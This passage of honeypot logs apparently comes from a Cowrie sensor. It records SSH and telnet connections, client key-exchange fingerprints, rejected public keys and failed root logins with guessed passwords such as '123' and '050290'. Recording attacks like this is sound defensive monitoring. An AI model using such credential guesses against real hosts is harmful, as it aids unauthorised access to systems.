com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:12.606382Z","src_ip":"78.111.67.61","session":"22df6d822d35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:5a:b1:5e:80:ad:0f:4c:5c:23:3b:15:a4:92:90:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5FZw0OdA40Cp0iIeV4sui3I7i246osMJMI1+lqM02qKIwNvH3jHvYrrLtmgyG82dI5ikCzI4Kq78fywFBmujIZAcnjMFvQgv830o5hcyDRnLa4/Wjom4fu/L6Nja+ljuYqfJJl9celCExCxYO+U/a37+41af5DJqjKblqgFLfmj8yJFYZjsgETwkgLth1lHIC9pedd8ryZHW45ob8qpuVxxn9l67AtcQQARrhmmBIjU58G+mZIGoE6ZV4ZyUI6Oz4B9rfZle8o46DbSn0MkEkAEsSC+UCIOQavugNVB+c6bpv6jJyV9upS/ppqWxjaQ0RDZ8LDG+3OkTdJYZ34z1p8upyUordQXA217CtJz8V9WQbBoYKkxmBKqdwgiTXwcrjZbxRfTP6SEmuDu/S6U9jb39aDaOXIqrsmP2Y7xnjG6ZEysAay3oScL0CV3jxtd+zWYZmfnOPLmrO6iLM92ck/RO2keH3B9R0pRx3gxh5IfFcfQvagYxeNBIwceO0/1ExISGD3zv9X46/LOqSlhISuQDz0SvdEwgvHESE4YRzKeh/0NPahUBp/F8IAABkCex6CwjrkZTMIO8QSba8Ry807wDHtpFHJa1hcYVuhH+GSi5vT3mZDqHwiJ7zNpQHsP761mFZAoK69oH5WIcUXvIZqnT60kFvQQfpXcE7l14Ugw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:5a:b1:5e:80:ad:0f:4c:5c:23:3b:15:a4:92:90:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:13.056489Z","src_ip":"78.111.67.61","session":"22df6d822d35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:5a:b1:5e:80:ad:0f:4c:5c:23:3b:15:a4:92:90:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5FZw0OdA40Cp0iIeV4sui3I7i246osMJMI1+lqM02qKIwNvH3jHvYrrLtmgyG82dI5ikCzI4Kq78fywFBmujIZAcnjMFvQgv830o5hcyDRnLa4/Wjom4fu/L6Nja+ljuYqfJJl9celCExCxYO+U/a37+41af5DJqjKblqgFLfmj8yJFYZjsgETwkgLth1lHIC9pedd8ryZHW45ob8qpuVxxn9l67AtcQQARrhmmBIjU58G+mZIGoE6ZV4ZyUI6Oz4B9rfZle8o46DbSn0MkEkAEsSC+UCIOQavugNVB+c6bpv6jJyV9upS/ppqWxjaQ0RDZ8LDG+3OkTdJYZ34z1p8upyUordQXA217CtJz8V9WQbBoYKkxmBKqdwgiTXwcrjZbxRfTP6SEmuDu/S6U9jb39aDaOXIqrsmP2Y7xnjG6ZEysAay3oScL0CV3jxtd+zWYZmfnOPLmrO6iLM92ck/RO2keH3B9R0pRx3gxh5IfFcfQvagYxeNBIwceO0/1ExISGD3zv9X46/LOqSlhISuQDz0SvdEwgvHESE4YRzKeh/0NPahUBp/F8IAABkCex6CwjrkZTMIO8QSba8Ry807wDHtpFHJa1hcYVuhH+GSi5vT3mZDqHwiJ7zNpQHsP761mFZAoK69oH5WIcUXvIZqnT60kFvQQfpXcE7l14Ugw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:13.058615Z","src_ip":"78.111.67.61","session":"22df6d822d35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:e2:d2:83:33:80:74:cb:1e:2b:43:28:a5:c7:4a:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+s0MNs7TS/Fp/1irenxAA5CZsL/mdH7Y5wL1C1X0DFgYNmn7yQhrMi558cizwz8xsw9wHMmDBu87twGAhxO7hD3W9j30vbq3Ri5fBl+ibxKsPMdHjNhEyp998rOx3nI3BMOrcIM9+BwQg/5+T1FM6oiheQ8YmeTn883x9bxhvDhQKo27rpUN6IYs8TaWUBrGklpIO0T4sW5LzuiZkQhjRtOz4ZbF+rUB9iWbbNe74dJr305COHag4ZfgmJ0ONt1ZrN9P5wVtpMgcfac2Djo0pfzorl8QrZ/kcLMzCOvjz/pTnrz59wCBOzrVB2qUhAmM3oqqkqO4/xHtx8TCY5TUV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:e2:d2:83:33:80:74:cb:1e:2b:43:28:a5:c7:4a:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:13.191464Z","src_ip":"78.111.67.61","session":"22df6d822d35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:e2:d2:83:33:80:74:cb:1e:2b:43:28:a5:c7:4a:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+s0MNs7TS/Fp/1irenxAA5CZsL/mdH7Y5wL1C1X0DFgYNmn7yQhrMi558cizwz8xsw9wHMmDBu87twGAhxO7hD3W9j30vbq3Ri5fBl+ibxKsPMdHjNhEyp998rOx3nI3BMOrcIM9+BwQg/5+T1FM6oiheQ8YmeTn883x9bxhvDhQKo27rpUN6IYs8TaWUBrGklpIO0T4sW5LzuiZkQhjRtOz4ZbF+rUB9iWbbNe74dJr305COHag4ZfgmJ0ONt1ZrN9P5wVtpMgcfac2Djo0pfzorl8QrZ/kcLMzCOvjz/pTnrz59wCBOzrVB2qUhAmM3oqqkqO4/xHtx8TCY5TUV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:13.194158Z","src_ip":"78.111.67.61","session":"22df6d822d35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:58:46:4a:06:39:ab:ef:20:97:7e:ad:8b:d1:bf:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHXxeJXDr/CjRZQGXas/MXiTj8SN6x1vKbN6cbkdyHs5+1MQ1fWpj5LhefLAQNcdqumQ5zOIUiKwmCWlHZlXurMqbHYzhnL/ed/NODAqdnHQiSci4/RuwMZ/osiRdqFDJ+E8GamtHPWr80DSpx6VF+8EWxJdkXjOLQoxQej9ENVmMTjHuVgE4LssiaL9VhUmoqkALNeCQzYUUHBBQXJkQl3QVtvKK/KI3bZW4beqG7CQTUW1/izBTbYvAcJ46rkCNa+ElcUbbgYJSdkPrZGarUaLIg1kDMBsUuifkZhgIrpllC5cBiAEEiENmbZTvAJHlH5wnK8P77JZrmis6rBzhM2T08jjGCW/J3djLRU2VI8YCFqqdIsAYD1YvZR4Y7dJrBV7wFdobreZ36KiIohQL4kgYTuMsTAmpQ18HStvhD/+vyxCbB6CGaNJp14Qoc1dGw0rkBx7BL8VnmlEV7d9fj3YqS6k9IlroKjwbdzsSJHYjbixmNfkK21hSgwbPrBJs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:58:46:4a:06:39:ab:ef:20:97:7e:ad:8b:d1:bf:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:13.285415Z","src_ip":"78.111.67.61","session":"22df6d822d35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:58:46:4a:06:39:ab:ef:20:97:7e:ad:8b:d1:bf:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHXxeJXDr/CjRZQGXas/MXiTj8SN6x1vKbN6cbkdyHs5+1MQ1fWpj5LhefLAQNcdqumQ5zOIUiKwmCWlHZlXurMqbHYzhnL/ed/NODAqdnHQiSci4/RuwMZ/osiRdqFDJ+E8GamtHPWr80DSpx6VF+8EWxJdkXjOLQoxQej9ENVmMTjHuVgE4LssiaL9VhUmoqkALNeCQzYUUHBBQXJkQl3QVtvKK/KI3bZW4beqG7CQTUW1/izBTbYvAcJ46rkCNa+ElcUbbgYJSdkPrZGarUaLIg1kDMBsUuifkZhgIrpllC5cBiAEEiENmbZTvAJHlH5wnK8P77JZrmis6rBzhM2T08jjGCW/J3djLRU2VI8YCFqqdIsAYD1YvZR4Y7dJrBV7wFdobreZ36KiIohQL4kgYTuMsTAmpQ18HStvhD/+vyxCbB6CGaNJp14Qoc1dGw0rkBx7BL8VnmlEV7d9fj3YqS6k9IlroKjwbdzsSJHYjbixmNfkK21hSgwbPrBJs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:13.287927Z","src_ip":"78.111.67.61","session":"22df6d822d35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:5b:8a:ba:fe:2f:88:f3:c2:b1:6d:05:c4:a6:28:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeAnmT5tiUG3Tuf4XiybTqkvHwj/8eD/A37rYW1VFTvA48oG+YcEEJoyve1EL54XtjWDJFNvAwsPullUMrY0+mGS5GCrkjtc7oaoDK5TAMXpkhtxu7tK+T9TW16WcY/06Km3OzG5YWKh5WVKnvBitAczQDevsLNMZ2ig4CAa+CHQ9yN724wYQKu0etlUcLW5B39kZWCXm/8NBtNahtjjz0SFH8/4unAMUmzf8/i74RpmZujDsOrD/zwzxnWtEQeMSmWOTflmDiDjHnvkzaRYIC4UoOgvxedog4wIWzYN1YUhR5p+8eTg7s9bBzQa6wBYxvagPnXg3H+bTowYWzW6zf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:5b:8a:ba:fe:2f:88:f3:c2:b1:6d:05:c4:a6:28:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:13.387176Z","src_ip":"78.111.67.61","session":"22df6d822d35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:5b:8a:ba:fe:2f:88:f3:c2:b1:6d:05:c4:a6:28:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeAnmT5tiUG3Tuf4XiybTqkvHwj/8eD/A37rYW1VFTvA48oG+YcEEJoyve1EL54XtjWDJFNvAwsPullUMrY0+mGS5GCrkjtc7oaoDK5TAMXpkhtxu7tK+T9TW16WcY/06Km3OzG5YWKh5WVKnvBitAczQDevsLNMZ2ig4CAa+CHQ9yN724wYQKu0etlUcLW5B39kZWCXm/8NBtNahtjjz0SFH8/4unAMUmzf8/i74RpmZujDsOrD/zwzxnWtEQeMSmWOTflmDiDjHnvkzaRYIC4UoOgvxedog4wIWzYN1YUhR5p+8eTg7s9bBzQa6wBYxvagPnXg3H+bTowYWzW6zf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:13.389033Z","src_ip":"78.111.67.61","session":"22df6d822d35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:d8:b8:6f:a0:bb:ab:24:9f:88:0f:90:d4:c8:c7:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv9IFJmheimFknvryahpCXby5bc6wtLORAQTLHrYtm+Lh/mxc3bY6GC4eWsMhEHWm2HKsGZn6aL3rDKpSA8rHV05ydNfbvIBEHaWS6DqCHy6cMg3rCXNPP0CTanRathZQno5GL4Xs7XBEs1bI1bUdy8pPNs17FpNkrpZbcASb1QOo3+wVINUko04ZLrfShr7XMljc+BVIDlivfCEp9FHn9RTnii4YnclyuyTkjg8ASqvEkoEqoV5WEa7KSqYbWOV3yPJm4d1Kyckk4jOVpk8yVPoMaWdFBwUei+Xp2Dl0Qcu/6hAWzlgk32Lw35ogRDm0z82sT46hQb0xSmTbYShPBw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:d8:b8:6f:a0:bb:ab:24:9f:88:0f:90:d4:c8:c7:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:13.487976Z","src_ip":"78.111.67.61","session":"22df6d822d35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:d8:b8:6f:a0:bb:ab:24:9f:88:0f:90:d4:c8:c7:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv9IFJmheimFknvryahpCXby5bc6wtLORAQTLHrYtm+Lh/mxc3bY6GC4eWsMhEHWm2HKsGZn6aL3rDKpSA8rHV05ydNfbvIBEHaWS6DqCHy6cMg3rCXNPP0CTanRathZQno5GL4Xs7XBEs1bI1bUdy8pPNs17FpNkrpZbcASb1QOo3+wVINUko04ZLrfShr7XMljc+BVIDlivfCEp9FHn9RTnii4YnclyuyTkjg8ASqvEkoEqoV5WEa7KSqYbWOV3yPJm4d1Kyckk4jOVpk8yVPoMaWdFBwUei+Xp2Dl0Qcu/6hAWzlgk32Lw35ogRDm0z82sT46hQb0xSmTbYShPBw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:13.490518Z","src_ip":"78.111.67.61","session":"22df6d822d35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43532,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d5a267a4643","protocol":"telnet","message":"New connection: 107.6.151.170:43532 (159.203.135.109:23) [session: 2d5a267a4643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:13.567325Z"}
{"eventid":"cowrie.session.closed","duration":0.0035638809204101562,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:13.570669Z","src_ip":"107.6.151.170","session":"2d5a267a4643","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:13.582414Z","src_ip":"78.111.67.61","session":"22df6d822d35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.1","message":"Connection lost after 37.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:40.110317Z","src_ip":"192.163.244.125","session":"1ea734db752a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.49","src_port":49936,"dst_ip":"10.17.0.5","dst_port":22,"session":"413253773b25","protocol":"ssh","message":"New connection: 92.118.39.49:49936 (10.17.0.5:22) [session: 413253773b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:45.280370Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":39274,"dst_ip":"159.203.135.109","dst_port":23,"session":"f80a41a318de","protocol":"telnet","message":"New connection: 107.6.151.170:39274 (159.203.135.109:23) [session: f80a41a318de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:45.441027Z"}
{"eventid":"cowrie.session.closed","duration":0.004422664642333984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:45.445288Z","src_ip":"107.6.151.170","session":"f80a41a318de","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:45.580866Z","src_ip":"92.118.39.49","session":"413253773b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:45.583625Z","src_ip":"92.118.39.49","session":"413253773b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:47.129451Z","src_ip":"92.118.39.49","session":"413253773b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":42078,"dst_ip":"10.17.0.5","dst_port":22,"session":"236cd26679d8","protocol":"ssh","message":"New connection: 43.134.49.202:42078 (10.17.0.5:22) [session: 236cd26679d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:48.336577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:48.340336Z","src_ip":"43.134.49.202","session":"236cd26679d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:48.583673Z","src_ip":"92.118.39.49","session":"413253773b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:48.587789Z","src_ip":"43.134.49.202","session":"236cd26679d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"talent","password":"talent","message":"login attempt [talent/talent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:49.591969Z","src_ip":"43.134.49.202","session":"236cd26679d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:04:50.839124Z","src_ip":"43.134.49.202","session":"236cd26679d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":45776,"dst_ip":"10.17.0.5","dst_port":22,"session":"a42d5da952ac","protocol":"ssh","message":"New connection: 94.159.110.201:45776 (10.17.0.5:22) [session: a42d5da952ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:05:20.877302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:05:20.926014Z","src_ip":"94.159.110.201","session":"a42d5da952ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:05:21.031119Z","src_ip":"94.159.110.201","session":"a42d5da952ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"050290","message":"login attempt [root/050290] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:05:21.348959Z","src_ip":"94.159.110.201","session":"a42d5da952ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:05:22.456934Z","src_ip":"94.159.110.201","session":"a42d5da952ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.105.153","src_port":26146,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b9ed7bb9766","protocol":"ssh","message":"New connection: 107.150.105.153:26146 (159.203.135.109:22) [session: 1b9ed7bb9766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:05:31.022925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:05:31.030382Z","src_ip":"107.150.105.153","session":"1b9ed7bb9766","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha